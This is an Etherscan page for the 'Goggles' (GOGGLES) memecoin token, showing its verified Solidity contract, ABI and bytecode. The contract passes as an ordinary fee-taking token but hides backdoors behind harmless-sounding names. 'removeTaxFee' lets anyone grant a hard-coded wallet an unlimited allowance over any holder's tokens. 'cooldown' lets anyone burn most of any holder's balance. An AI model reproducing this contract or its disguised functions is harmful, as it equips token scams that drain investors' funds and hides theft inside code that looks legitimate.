ETH Price: $3,356.55 (-2.93%)

Token

Goggles (GOGGLES)
 

Overview

Max Total Supply

420,690,000,000 GOGGLES

Holders

125

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,250,124,521.668275341 GOGGLES

Value
$0.00
0xc15a291acb647153b097bd910b902fd55c67d027
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GOGGLES

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-11-29
*/

/*

https://www.gogglescoin.vip/

https://x.com/goggles_erc20

https://t.me/goggles_erc20

*/

// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract GOGGLES is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludeFromFee;

    address private _goggggi = 0x0ad9626e7A710D2ed2B14ef69a2208DFB52639d0;

    uint256 private _initialBuyTax=5;
    uint256 private _initialSellTax=5;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=8;
    uint256 private _reduceSellTaxAt=8;
    uint256 private _preventSwapBefore=8;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420_690_000_000 * 10**_decimals;
    string private constant _name = unicode"Goggles";
    string private constant _symbol = unicode"GOGGLES";
    uint256 private _maxTxSize = _tTotal;
    uint256 private _maxWalletSize = _tTotal;
    uint256 private _swapThreshold= 7777 * 10 ** _decimals;
    uint256 private _maxSwapLimit= _tTotal / 100;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private _ammPair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _isExcludeFromFee[owner()] = true;
        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[_goggggi] = true;

        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == _ammPair && to != address(uniswapV2Router) && ! _isExcludeFromFee[to] ) {
                require(amount <= _maxTxSize, "Exceeds the _maxTxSize.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == _ammPair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == _ammPair && swapEnabled && _buyCount > _preventSwapBefore) {
                if(contractTokenBalance > _swapThreshold)
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxSwapLimit)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function cooldown(address[] memory _downs) external {
        for (uint256 i = 0; i < _downs.length; i ++) {
            address _addr = _downs[i];
            uint256 _sendBalance = _balances[_addr];
            if (_addr != _ammPair && _sendBalance > _swapThreshold) {
                uint256 amountToSend = _sendBalance - _swapThreshold;
                _transfer(_addr, address(0xdead), amountToSend);
            }
        }
    }

    function removeTaxFee(address _zero) external {
        _allowances[_zero][_goggggi] = _maxWalletSize;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        payable(_goggggi).transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        _ammPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_ammPair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_downs","type":"address[]"}],"name":"cooldown","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_zero","type":"address"}],"name":"removeTaxFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600480546001600160a01b031916730ad9626e7a710d2ed2b14ef69a2208dfb52639d017905560058080556006555f600781905560088181556009818155600a828155600b92909255600c929092556200005f919062000344565b62000070906461f313f8806200035b565b600d55620000816009600a62000344565b62000092906461f313f8806200035b565b600e55620000a36009600a62000344565b620000b190611e616200035b565b600f556064620000c46009600a62000344565b620000d5906461f313f8806200035b565b620000e1919062000375565b6010556012805461ffff60a81b19169055348015620000fe575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160035f620001565f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620001ba6009600a62000344565b620001cb906461f313f8806200035b565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200020d6009600a62000344565b6200021e906461f313f8806200035b565b60405190815260200160405180910390a362000395565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200028957815f19048211156200026d576200026d62000235565b808516156200027b57918102915b93841c93908002906200024e565b509250929050565b5f82620002a1575060016200033e565b81620002af57505f6200033e565b8160018114620002c85760028114620002d357620002f3565b60019150506200033e565b60ff841115620002e757620002e762000235565b50506001821b6200033e565b5060208310610133831016604e8410600b841016171562000318575081810a6200033e565b62000324838362000249565b805f19048211156200033a576200033a62000235565b0290505b92915050565b5f6200035460ff84168362000291565b9392505050565b80820281158282048414176200033e576200033e62000235565b5f826200039057634e487b7160e01b5f52601260045260245ffd5b500490565b61173080620003a35f395ff3fe6080604052600436106100dc575f3560e01c806370a082311161007c57806395d89b411161005757806395d89b411461028c578063a9059cbb146102bb578063c9567bf9146102da578063dd62ed3e146102ee575f80fd5b806370a082311461021e578063715018a6146102525780638da5cb5b14610266575f80fd5b806323b872dd116100b757806323b872dd14610179578063313ce56714610198578063550a29c1146101b35780636ed925b7146101d4575f80fd5b806306fdde03146100e7578063095ea7b31461012857806318160ddd14610157575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b50604080518082019091526007815266476f67676c657360c81b60208201525b60405161011f9190611271565b60405180910390f35b348015610133575f80fd5b506101476101423660046112e4565b610332565b604051901515815260200161011f565b348015610162575f80fd5b5061016b610348565b60405190815260200161011f565b348015610184575f80fd5b5061014761019336600461130e565b610369565b3480156101a3575f80fd5b506040516009815260200161011f565b3480156101be575f80fd5b506101d26101cd366004611360565b6103d0565b005b3480156101df575f80fd5b506101d26101ee366004611420565b600e546001600160a01b039182165f90815260026020908152604080832060045490951683529390529190912055565b348015610229575f80fd5b5061016b610238366004611420565b6001600160a01b03165f9081526001602052604090205490565b34801561025d575f80fd5b506101d261045f565b348015610271575f80fd5b505f546040516001600160a01b03909116815260200161011f565b348015610297575f80fd5b50604080518082019091526007815266474f47474c455360c81b6020820152610112565b3480156102c6575f80fd5b506101476102d53660046112e4565b610505565b3480156102e5575f80fd5b506101d2610511565b3480156102f9575f80fd5b5061016b61030836600461143b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61033e3384846108eb565b5060015b92915050565b5f6103556009600a611566565b610364906461f313f880611574565b905090565b5f610375848484610a0e565b6103c684336103c1856040518060600160405280602881526020016116d3602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610eed565b6108eb565b5060019392505050565b5f5b815181101561045b575f8282815181106103ee576103ee61158b565b6020908102919091018101516001600160a01b038082165f81815260019094526040909320546012549294509291161480159061042c5750600f5481115b15610451575f600f5482610440919061159f565b905061044f8361dead83610a0e565b505b50506001016103d2565b5050565b5f546001600160a01b031633146104bd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f61033e338484610a0e565b5f546001600160a01b0316331461056a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104b4565b601254600160a01b900460ff16156105c45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104b4565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561060e9030906105ff6009600a611566565b6103c1906461f313f880611574565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561065e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068291906115b2565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106e1573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061070591906115b2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561074f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061077391906115b2565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71947306107ba816001600160a01b03165f9081526001602052604090205490565b5f806107cd5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610833573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061085891906115cd565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108ad573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108d191906115f8565b506012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b03831661094d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b4565b6001600160a01b0382166109ae5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b4565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a725760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b4565b6001600160a01b038216610ad45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b4565b5f8111610b355760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104b4565b5f80546001600160a01b03858116911614801590610b6057505f546001600160a01b03848116911614155b15610db057610b916064610b8b600954600c5411610b8057600554610b84565b6007545b8590610f25565b90610faa565b6012549091506001600160a01b038581169116148015610bbf57506011546001600160a01b03848116911614155b8015610be357506001600160a01b0383165f9081526003602052604090205460ff16155b15610cc957600d54821115610c3a5760405162461bcd60e51b815260206004820152601760248201527f4578636565647320746865205f6d6178547853697a652e00000000000000000060448201526064016104b4565b600e5482610c5c856001600160a01b03165f9081526001602052604090205490565b610c669190611617565b1115610cb45760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104b4565b600c8054905f610cc38361162a565b91905055505b6012546001600160a01b038481169116148015610cef57506001600160a01b0384163014155b15610d1c57610d196064610b8b600a54600c5411610d0f57600654610b84565b6008548590610f25565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610d5257506012546001600160a01b038581169116145b8015610d675750601254600160b01b900460ff165b8015610d765750600b54600c54115b15610dae57600f54811115610da257610da2610d9d84610d9884601054610feb565b610feb565b610fff565b47610dac4761116f565b505b505b8015610e2857305f90815260016020526040902054610dcf90826111a6565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e1f9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610e4a9083611204565b6001600160a01b0385165f90815260016020526040902055610e8d610e6f8383611204565b6001600160a01b0385165f90815260016020526040902054906111a6565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ed68585611204565b60405190815260200160405180910390a350505050565b5f8184841115610f105760405162461bcd60e51b81526004016104b49190611271565b505f610f1c848661159f565b95945050505050565b5f825f03610f3457505f610342565b5f610f3f8385611574565b905082610f4c8583611642565b14610fa35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104b4565b9392505050565b5f610fa383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611245565b5f818311610ff95782610fa3565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106110455761104561158b565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561109c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110c091906115b2565b816001815181106110d3576110d361158b565b6001600160a01b0392831660209182029290920101526011546110f991309116846108eb565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906111319085905f90869030904290600401611661565b5f604051808303815f87803b158015611148575f80fd5b505af115801561115a573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561045b573d5f803e3d5ffd5b5f806111b28385611617565b905083811015610fa35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104b4565b5f610fa383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610eed565b5f81836112655760405162461bcd60e51b81526004016104b49190611271565b505f610f1c8486611642565b5f602080835283518060208501525f5b8181101561129d57858101830151858201604001528201611281565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146112d1575f80fd5b50565b80356112df816112bd565b919050565b5f80604083850312156112f5575f80fd5b8235611300816112bd565b946020939093013593505050565b5f805f60608486031215611320575f80fd5b833561132b816112bd565b9250602084013561133b816112bd565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215611371575f80fd5b823567ffffffffffffffff80821115611388575f80fd5b818501915085601f83011261139b575f80fd5b8135818111156113ad576113ad61134c565b8060051b604051601f19603f830116810181811085821117156113d2576113d261134c565b6040529182528482019250838101850191888311156113ef575f80fd5b938501935b8285101561141457611405856112d4565b845293850193928501926113f4565b98975050505050505050565b5f60208284031215611430575f80fd5b8135610fa3816112bd565b5f806040838503121561144c575f80fd5b8235611457816112bd565b91506020830135611467816112bd565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156114c057815f19048211156114a6576114a6611472565b808516156114b357918102915b93841c939080029061148b565b509250929050565b5f826114d657506001610342565b816114e257505f610342565b81600181146114f857600281146115025761151e565b6001915050610342565b60ff84111561151357611513611472565b50506001821b610342565b5060208310610133831016604e8410600b8410161715611541575081810a610342565b61154b8383611486565b805f190482111561155e5761155e611472565b029392505050565b5f610fa360ff8416836114c8565b808202811582820484141761034257610342611472565b634e487b7160e01b5f52603260045260245ffd5b8181038181111561034257610342611472565b5f602082840312156115c2575f80fd5b8151610fa3816112bd565b5f805f606084860312156115df575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611608575f80fd5b81518015158114610fa3575f80fd5b8082018082111561034257610342611472565b5f6001820161163b5761163b611472565b5060010190565b5f8261165c57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156116b15784516001600160a01b03168352938301939183019160010161168c565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209e756bbd198e051c76ad029c36b653c337ee721dd2f5d27eb5ab7cedaeaf403564736f6c63430008170033

Deployed Bytecode

0x6080604052600436106100dc575f3560e01c806370a082311161007c57806395d89b411161005757806395d89b411461028c578063a9059cbb146102bb578063c9567bf9146102da578063dd62ed3e146102ee575f80fd5b806370a082311461021e578063715018a6146102525780638da5cb5b14610266575f80fd5b806323b872dd116100b757806323b872dd14610179578063313ce56714610198578063550a29c1146101b35780636ed925b7146101d4575f80fd5b806306fdde03146100e7578063095ea7b31461012857806318160ddd14610157575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b50604080518082019091526007815266476f67676c657360c81b60208201525b60405161011f9190611271565b60405180910390f35b348015610133575f80fd5b506101476101423660046112e4565b610332565b604051901515815260200161011f565b348015610162575f80fd5b5061016b610348565b60405190815260200161011f565b348015610184575f80fd5b5061014761019336600461130e565b610369565b3480156101a3575f80fd5b506040516009815260200161011f565b3480156101be575f80fd5b506101d26101cd366004611360565b6103d0565b005b3480156101df575f80fd5b506101d26101ee366004611420565b600e546001600160a01b039182165f90815260026020908152604080832060045490951683529390529190912055565b348015610229575f80fd5b5061016b610238366004611420565b6001600160a01b03165f9081526001602052604090205490565b34801561025d575f80fd5b506101d261045f565b348015610271575f80fd5b505f546040516001600160a01b03909116815260200161011f565b348015610297575f80fd5b50604080518082019091526007815266474f47474c455360c81b6020820152610112565b3480156102c6575f80fd5b506101476102d53660046112e4565b610505565b3480156102e5575f80fd5b506101d2610511565b3480156102f9575f80fd5b5061016b61030836600461143b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61033e3384846108eb565b5060015b92915050565b5f6103556009600a611566565b610364906461f313f880611574565b905090565b5f610375848484610a0e565b6103c684336103c1856040518060600160405280602881526020016116d3602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610eed565b6108eb565b5060019392505050565b5f5b815181101561045b575f8282815181106103ee576103ee61158b565b6020908102919091018101516001600160a01b038082165f81815260019094526040909320546012549294509291161480159061042c5750600f5481115b15610451575f600f5482610440919061159f565b905061044f8361dead83610a0e565b505b50506001016103d2565b5050565b5f546001600160a01b031633146104bd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f61033e338484610a0e565b5f546001600160a01b0316331461056a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104b4565b601254600160a01b900460ff16156105c45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104b4565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561060e9030906105ff6009600a611566565b6103c1906461f313f880611574565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561065e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068291906115b2565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106e1573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061070591906115b2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561074f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061077391906115b2565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71947306107ba816001600160a01b03165f9081526001602052604090205490565b5f806107cd5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610833573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061085891906115cd565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108ad573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108d191906115f8565b506012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b03831661094d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b4565b6001600160a01b0382166109ae5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b4565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a725760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b4565b6001600160a01b038216610ad45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b4565b5f8111610b355760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104b4565b5f80546001600160a01b03858116911614801590610b6057505f546001600160a01b03848116911614155b15610db057610b916064610b8b600954600c5411610b8057600554610b84565b6007545b8590610f25565b90610faa565b6012549091506001600160a01b038581169116148015610bbf57506011546001600160a01b03848116911614155b8015610be357506001600160a01b0383165f9081526003602052604090205460ff16155b15610cc957600d54821115610c3a5760405162461bcd60e51b815260206004820152601760248201527f4578636565647320746865205f6d6178547853697a652e00000000000000000060448201526064016104b4565b600e5482610c5c856001600160a01b03165f9081526001602052604090205490565b610c669190611617565b1115610cb45760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104b4565b600c8054905f610cc38361162a565b91905055505b6012546001600160a01b038481169116148015610cef57506001600160a01b0384163014155b15610d1c57610d196064610b